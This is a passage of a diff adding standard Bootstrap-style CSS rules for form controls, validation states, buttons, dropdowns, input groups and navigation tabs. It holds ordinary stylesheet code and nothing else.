+} +.input-sm { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-sm { + height: 30px; + line-height: 30px; +} +textarea.input-sm, +select[multiple].input-sm { + height: auto; +} +.form-group-sm .form-control { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.form-group-sm select.form-control { + height: 30px; + line-height: 30px; +} +.form-group-sm textarea.form-control, +.form-group-sm select[multiple].form-control { + height: auto; +} +.form-group-sm .form-control-static { + height: 30px; + min-height: 32px; + padding: 6px 10px; + font-size: 12px; + line-height: 1.5; +} +.input-lg { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-lg { + height: 46px; + line-height: 46px; +} +textarea.input-lg, +select[multiple].input-lg { + height: auto; +} +.form-group-lg .form-control { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.form-group-lg select.form-control { + height: 46px; + line-height: 46px; +} +.form-group-lg textarea.form-control, +.form-group-lg select[multiple].form-control { + height: auto; +} +.form-group-lg .form-control-static { + height: 46px; + min-height: 38px; + padding: 11px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.has-feedback { + position: relative; +} +.has-feedback .form-control { + padding-right: 42.5px; +} +.form-control-feedback { + position: absolute; + top: 0; + right: 0; + z-index: 2; + display: block; + width: 34px; + height: 34px; + line-height: 34px; + text-align: center; + pointer-events: none; +} +.input-lg + .form-control-feedback, +.input-group-lg + .form-control-feedback, +.form-group-lg .form-control + .form-control-feedback { + width: 46px; + height: 46px; + line-height: 46px; +} +.input-sm + .form-control-feedback, +.input-group-sm + .form-control-feedback, +.form-group-sm .form-control + .form-control-feedback { + width: 30px; + height: 30px; + line-height: 30px; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline, +.has-success.radio label, +.has-success.checkbox label, +.has-success.radio-inline label, +.has-success.checkbox-inline label { + color: #3c763d; +} +.has-success .form-control { + border-color: #3c763d; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-success .form-control:focus { + border-color: #2b542c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; +} +.has-success .input-group-addon { + color: #3c763d; + background-color: #dff0d8; + border-color: #3c763d; +} +.has-success .form-control-feedback { + color: #3c763d; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline, +.has-warning.radio label, +.has-warning.checkbox label, +.has-warning.radio-inline label, +.has-warning.checkbox-inline label { + color: #8a6d3b; +} +.has-warning .form-control { + border-color: #8a6d3b; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-warning .form-control:focus { + border-color: #66512c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; +} +.has-warning .input-group-addon { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #8a6d3b; +} +.has-warning .form-control-feedback { + color: #8a6d3b; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline, +.has-error.radio label, +.has-error.checkbox label, +.has-error.radio-inline label, +.has-error.checkbox-inline label { + color: #a94442; +} +.has-error .form-control { + border-color: #a94442; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-error .form-control:focus { + border-color: #843534; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; +} +.has-error .input-group-addon { + color: #a94442; + background-color: #f2dede; + border-color: #a94442; +} +.has-error .form-control-feedback { + color: #a94442; +} +.has-feedback label ~ .form-control-feedback { + top: 25px; +} +.has-feedback label.sr-only ~ .form-control-feedback { + top: 0; +} +.help-block { + display: block; + margin-top: 5px; + margin-bottom: 10px; + color: #737373; +} +@media (min-width: 768px) { + .form-inline .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-static { + display: inline-block; + } + .form-inline .input-group { + display: inline-table; + vertical-align: middle; + } + .form-inline .input-group .input-group-addon, + .form-inline .input-group .input-group-btn, + .form-inline .input-group .form-control { + width: auto; + } + .form-inline .input-group > .form-control { + width: 100%; + } + .form-inline .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio, + .form-inline .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio label, + .form-inline .checkbox label { + padding-left: 0; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .form-inline .has-feedback .form-control-feedback { + top: 0; + } +} +.form-horizontal .radio, +.form-horizontal .checkbox, +.form-horizontal .radio-inline, +.form-horizontal .checkbox-inline { + padding-top: 7px; + margin-top: 0; + margin-bottom: 0; +} +.form-horizontal .radio, +.form-horizontal .checkbox { + min-height: 27px; +} +.form-horizontal .form-group { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .form-horizontal .control-label { + padding-top: 7px; + margin-bottom: 0; + text-align: right; + } +} +.form-horizontal .has-feedback .form-control-feedback { + right: 15px; +} +@media (min-width: 768px) { + .form-horizontal .form-group-lg .control-label { + padding-top: 11px; + font-size: 18px; + } +} +@media (min-width: 768px) { + .form-horizontal .form-group-sm .control-label { + padding-top: 6px; + font-size: 12px; + } +} +.btn { + display: inline-block; + padding: 6px 12px; + margin-bottom: 0; + font-size: 14px; + font-weight: normal; + line-height: 1.42857143; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -ms-touch-action: manipulation; + touch-action: manipulation; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.btn:focus, +.btn:active:focus, +.btn.active:focus, +.btn.focus, +.btn:active.focus, +.btn.active.focus { + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +.btn:hover, +.btn:focus, +.btn.focus { + color: #333; + text-decoration: none; +} +.btn:active, +.btn.active { + background-image: none; + outline: 0; + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn.disabled, +.btn[disabled], +fieldset[disabled] .btn { + cursor: not-allowed; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + box-shadow: none; + opacity: .65; +} +a.btn.disabled, +fieldset[disabled] a.btn { + pointer-events: none; +} +.btn-default { + color: #333; + background-color: #fff; + border-color: #ccc; +} +.btn-default:focus, +.btn-default.focus { + color: #333; + background-color: #e6e6e6; + border-color: #8c8c8c; +} +.btn-default:hover { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active:hover, +.btn-default.active:hover, +.open > .dropdown-toggle.btn-default:hover, +.btn-default:active:focus, +.btn-default.active:focus, +.open > .dropdown-toggle.btn-default:focus, +.btn-default:active.focus, +.btn-default.active.focus, +.open > .dropdown-toggle.btn-default.focus { + color: #333; + background-color: #d4d4d4; + border-color: #8c8c8c; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + background-image: none; +} +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus { + background-color: #fff; + border-color: #ccc; +} +.btn-default .badge { + color: #fff; + background-color: #333; +} +.btn-primary { + color: #fff; + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary:focus, +.btn-primary.focus { + color: #fff; + background-color: #286090; + border-color: #122b40; +} +.btn-primary:hover { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active:hover, +.btn-primary.active:hover, +.open > .dropdown-toggle.btn-primary:hover, +.btn-primary:active:focus, +.btn-primary.active:focus, +.open > .dropdown-toggle.btn-primary:focus, +.btn-primary:active.focus, +.btn-primary.active.focus, +.open > .dropdown-toggle.btn-primary.focus { + color: #fff; + background-color: #204d74; + border-color: #122b40; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + background-image: none; +} +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus { + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary .badge { + color: #337ab7; + background-color: #fff; +} +.btn-success { + color: #fff; + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success:focus, +.btn-success.focus { + color: #fff; + background-color: #449d44; + border-color: #255625; +} +.btn-success:hover { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active:hover, +.btn-success.active:hover, +.open > .dropdown-toggle.btn-success:hover, +.btn-success:active:focus, +.btn-success.active:focus, +.open > .dropdown-toggle.btn-success:focus, +.btn-success:active.focus, +.btn-success.active.focus, +.open > .dropdown-toggle.btn-success.focus { + color: #fff; + background-color: #398439; + border-color: #255625; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + background-image: none; +} +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus { + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success .badge { + color: #5cb85c; + background-color: #fff; +} +.btn-info { + color: #fff; + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info:focus, +.btn-info.focus { + color: #fff; + background-color: #31b0d5; + border-color: #1b6d85; +} +.btn-info:hover { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active:hover, +.btn-info.active:hover, +.open > .dropdown-toggle.btn-info:hover, +.btn-info:active:focus, +.btn-info.active:focus, +.open > .dropdown-toggle.btn-info:focus, +.btn-info:active.focus, +.btn-info.active.focus, +.open > .dropdown-toggle.btn-info.focus { + color: #fff; + background-color: #269abc; + border-color: #1b6d85; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + background-image: none; +} +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus { + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info .badge { + color: #5bc0de; + background-color: #fff; +} +.btn-warning { + color: #fff; + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning:focus, +.btn-warning.focus { + color: #fff; + background-color: #ec971f; + border-color: #985f0d; +} +.btn-warning:hover { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active:hover, +.btn-warning.active:hover, +.open > .dropdown-toggle.btn-warning:hover, +.btn-warning:active:focus, +.btn-warning.active:focus, +.open > .dropdown-toggle.btn-warning:focus, +.btn-warning:active.focus, +.btn-warning.active.focus, +.open > .dropdown-toggle.btn-warning.focus { + color: #fff; + background-color: #d58512; + border-color: #985f0d; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + background-image: none; +} +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus { + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning .badge { + color: #f0ad4e; + background-color: #fff; +} +.btn-danger { + color: #fff; + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger:focus, +.btn-danger.focus { + color: #fff; + background-color: #c9302c; + border-color: #761c19; +} +.btn-danger:hover { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active:hover, +.btn-danger.active:hover, +.open > .dropdown-toggle.btn-danger:hover, +.btn-danger:active:focus, +.btn-danger.active:focus, +.open > .dropdown-toggle.btn-danger:focus, +.btn-danger:active.focus, +.btn-danger.active.focus, +.open > .dropdown-toggle.btn-danger.focus { + color: #fff; + background-color: #ac2925; + border-color: #761c19; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + background-image: none; +} +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus { + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger .badge { + color: #d9534f; + background-color: #fff; +} +.btn-link { + font-weight: normal; + color: #337ab7; + border-radius: 0; +} +.btn-link, +.btn-link:active, +.btn-link.active, +.btn-link[disabled], +fieldset[disabled] .btn-link { + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-link, +.btn-link:hover, +.btn-link:focus, +.btn-link:active { + border-color: transparent; +} +.btn-link:hover, +.btn-link:focus { + color: #23527c; + text-decoration: underline; + background-color: transparent; +} +.btn-link[disabled]:hover, +fieldset[disabled] .btn-link:hover, +.btn-link[disabled]:focus, +fieldset[disabled] .btn-link:focus { + color: #777; + text-decoration: none; +} +.btn-lg, +.btn-group-lg > .btn { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.btn-sm, +.btn-group-sm > .btn { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-xs, +.btn-group-xs > .btn { + padding: 1px 5px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-block { + display: block; + width: 100%; +} +.btn-block + .btn-block { + margin-top: 5px; +} +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} +.fade { + opacity: 0; + -webkit-transition: opacity .15s linear; + -o-transition: opacity .15s linear; + transition: opacity .15s linear; +} +.fade.in { + opacity: 1; +} +.collapse { + display: none; +} +.collapse.in { + display: block; +} +tr.collapse.in { + display: table-row; +} +tbody.collapse.in { + display: table-row-group; +} +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition-timing-function: ease; + -o-transition-timing-function: ease; + transition-timing-function: ease; + -webkit-transition-duration: .35s; + -o-transition-duration: .35s; + transition-duration: .35s; + -webkit-transition-property: height, visibility; + -o-transition-property: height, visibility; + transition-property: height, visibility; +} +.caret { + display: inline-block; + width: 0; + height: 0; + margin-left: 2px; + vertical-align: middle; + border-top: 4px dashed; + border-top: 4px solid \9; + border-right: 4px solid transparent; + border-left: 4px solid transparent; +} +.dropup, +.dropdown { + position: relative; +} +.dropdown-toggle:focus { + outline: 0; +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + font-size: 14px; + text-align: left; + list-style: none; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .15); + border-radius: 4px; + -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); + box-shadow: 0 6px 12px rgba(0, 0, 0, .175); +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 1.42857143; + color: #333; + white-space: nowrap; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + color: #262626; + text-decoration: none; + background-color: #f5f5f5; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #fff; + text-decoration: none; + background-color: #337ab7; + outline: 0; +} +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #777; +} +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + cursor: not-allowed; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.open > .dropdown-menu { + display: block; +} +.open > a { + outline: 0; +} +.dropdown-menu-right { + right: 0; + left: auto; +} +.dropdown-menu-left { + right: auto; + left: 0; +} +.dropdown-header { + display: block; + padding: 3px 20px; + font-size: 12px; + line-height: 1.42857143; + color: #777; + white-space: nowrap; +} +.dropdown-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 990; +} +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + content: ""; + border-top: 0; + border-bottom: 4px dashed; + border-bottom: 4px solid \9; +} +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 2px; +} +@media (min-width: 768px) { + .navbar-right .dropdown-menu { + right: 0; + left: auto; + } + .navbar-right .dropdown-menu-left { + right: auto; + left: 0; + } +} +.btn-group, +.btn-group-vertical { + position: relative; + display: inline-block; + vertical-align: middle; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + float: left; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-left: -1px; +} +.btn-toolbar { + margin-left: -5px; +} +.btn-toolbar .btn, +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: left; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-left: 5px; +} +.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { + border-radius: 0; +} +.btn-group > .btn:first-child { + margin-left: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group > .btn-group { + float: left; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} +.btn-group > .btn + .dropdown-toggle { + padding-right: 8px; + padding-left: 8px; +} +.btn-group > .btn-lg + .dropdown-toggle { + padding-right: 12px; + padding-left: 12px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-group.open .dropdown-toggle.btn-link { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn .caret { + margin-left: 0; +} +.btn-lg .caret { + border-width: 5px 5px 0; + border-bottom-width: 0; +} +.dropup .btn-lg .caret { + border-width: 0 5px 5px; +} +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group, +.btn-group-vertical > .btn-group > .btn { + display: block; + float: none; + width: 100%; + max-width: 100%; +} +.btn-group-vertical > .btn-group > .btn { + float: none; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} +.btn-group-vertical > .btn:not(:first-child):not(:last-child) { + border-radius: 0; +} +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-top-left-radius: 0; + border-top-right-radius: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.btn-group-justified { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: separate; +} +.btn-group-justified > .btn, +.btn-group-justified > .btn-group { + display: table-cell; + float: none; + width: 1%; +} +.btn-group-justified > .btn-group .btn { + width: 100%; +} +.btn-group-justified > .btn-group .dropdown-menu { + left: auto; +} +[data-toggle="buttons"] > .btn input[type="radio"], +[data-toggle="buttons"] > .btn-group > .btn input[type="radio"], +[data-toggle="buttons"] > .btn input[type="checkbox"], +[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} +.input-group { + position: relative; + display: table; + border-collapse: separate; +} +.input-group[class*="col-"] { + float: none; + padding-right: 0; + padding-left: 0; +} +.input-group .form-control { + position: relative; + z-index: 2; + float: left; + width: 100%; + margin-bottom: 0; +} +.input-group .form-control:focus { + z-index: 3; +} +.input-group-lg > .form-control, +.input-group-lg > .input-group-addon, +.input-group-lg > .input-group-btn > .btn { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-group-lg > .form-control, +select.input-group-lg > .input-group-addon, +select.input-group-lg > .input-group-btn > .btn { + height: 46px; + line-height: 46px; +} +textarea.input-group-lg > .form-control, +textarea.input-group-lg > .input-group-addon, +textarea.input-group-lg > .input-group-btn > .btn, +select[multiple].input-group-lg > .form-control, +select[multiple].input-group-lg > .input-group-addon, +select[multiple].input-group-lg > .input-group-btn > .btn { + height: auto; +} +.input-group-sm > .form-control, +.input-group-sm > .input-group-addon, +.input-group-sm > .input-group-btn > .btn { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-group-sm > .form-control, +select.input-group-sm > .input-group-addon, +select.input-group-sm > .input-group-btn > .btn { + height: 30px; + line-height: 30px; +} +textarea.input-group-sm > .form-control, +textarea.input-group-sm > .input-group-addon, +textarea.input-group-sm > .input-group-btn > .btn, +select[multiple].input-group-sm > .form-control, +select[multiple].input-group-sm > .input-group-addon, +select[multiple].input-group-sm > .input-group-btn > .btn { + height: auto; +} +.input-group-addon, +.input-group-btn, +.input-group .form-control { + display: table-cell; +} +.input-group-addon:not(:first-child):not(:last-child), +.input-group-btn:not(:first-child):not(:last-child), +.input-group .form-control:not(:first-child):not(:last-child) { + border-radius: 0; +} +.input-group-addon, +.input-group-btn { + width: 1%; + white-space: nowrap; + vertical-align: middle; +} +.input-group-addon { + padding: 6px 12px; + font-size: 14px; + font-weight: normal; + line-height: 1; + color: #555; + text-align: center; + background-color: #eee; + border: 1px solid #ccc; + border-radius: 4px; +} +.input-group-addon.input-sm { + padding: 5px 10px; + font-size: 12px; + border-radius: 3px; +} +.input-group-addon.input-lg { + padding: 10px 16px; + font-size: 18px; + border-radius: 6px; +} +.input-group-addon input[type="radio"], +.input-group-addon input[type="checkbox"] { + margin-top: 0; +} +.input-group .form-control:first-child, +.input-group-addon:first-child, +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group > .btn, +.input-group-btn:first-child > .dropdown-toggle, +.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle), +.input-group-btn:last-child > .btn-group:not(:last-child) > .btn { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.input-group-addon:first-child { + border-right: 0; +} +.input-group .form-control:last-child, +.input-group-addon:last-child, +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group > .btn, +.input-group-btn:last-child > .dropdown-toggle, +.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.input-group-addon:last-child { + border-left: 0; +} +.input-group-btn { + position: relative; + font-size: 0; + white-space: nowrap; +} +.input-group-btn > .btn { + position: relative; +} +.input-group-btn > .btn + .btn { + margin-left: -1px; +} +.input-group-btn > .btn:hover, +.input-group-btn > .btn:focus, +.input-group-btn > .btn:active { + z-index: 2; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-right: -1px; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + z-index: 2; + margin-left: -1px; +} +.nav { + padding-left: 0; + margin-bottom: 0; + list-style: none; +} +.nav > li { + position: relative; + display: block; +} +.nav > li > a { + position: relative; + display: block; + padding: 10px 15px; +} +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #eee; +} +.nav > li.disabled > a { + color: #777; +} +.nav > li.disabled > a:hover, +.nav > li.disabled > a:focus { + color: #777; + text-decoration: none; + cursor: not-allowed; + background-color: transparent; +} +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #eee; + border-color: #337ab7; +} +.nav .nav-divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.nav > li > a > img { + max-width: none; +} +.nav-tabs { + border-bottom: 1px solid #ddd; +} +.nav-tabs > li { + float: left; + margin-bottom: -1px; +} +.nav-tabs > li > a { + margin-right: 2px; + line-height: 1.42857143; + border: 1px solid transparent; + border-radius: 4px 4px 0 0; +} +.nav-tabs > li > a:hover { + border-color: #eee #eee #ddd; +} +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover, +.nav-tabs > li.active > a:focus { + color: #555; + cursor: default; + background-color: #fff; + border: 1px solid #ddd; + border-bottom-color: transparent; +} +.nav-tabs.nav-justified { + width: 100%; + border-bottom: 0; +} +.nav-tabs.nav-justified > li { + float: none; +} +.nav-tabs.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-tabs.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-tabs.nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs.nav-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs.nav-justified > .active > a, +.nav-tabs.nav-justified > .active > a:hover, +.nav-tabs.nav-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs.nav-justified > .active > a, + .nav-tabs.nav-justified > .active > a:hover, + .nav-tabs.nav-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.nav-pills > li { + float: left; +} +.nav-pills > li > a { + border-radius: 4px; +} +.nav-pills > li + li { + margin-left: 2px; +} +.nav-pills > li.active > a, +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:focus { + color: #fff; + background-color: #337ab7; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-top: 2px; + margin-left: 0; +} +.nav-justified { + width: 100%; +} +.nav-justified > li { + float: none; +} +.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media 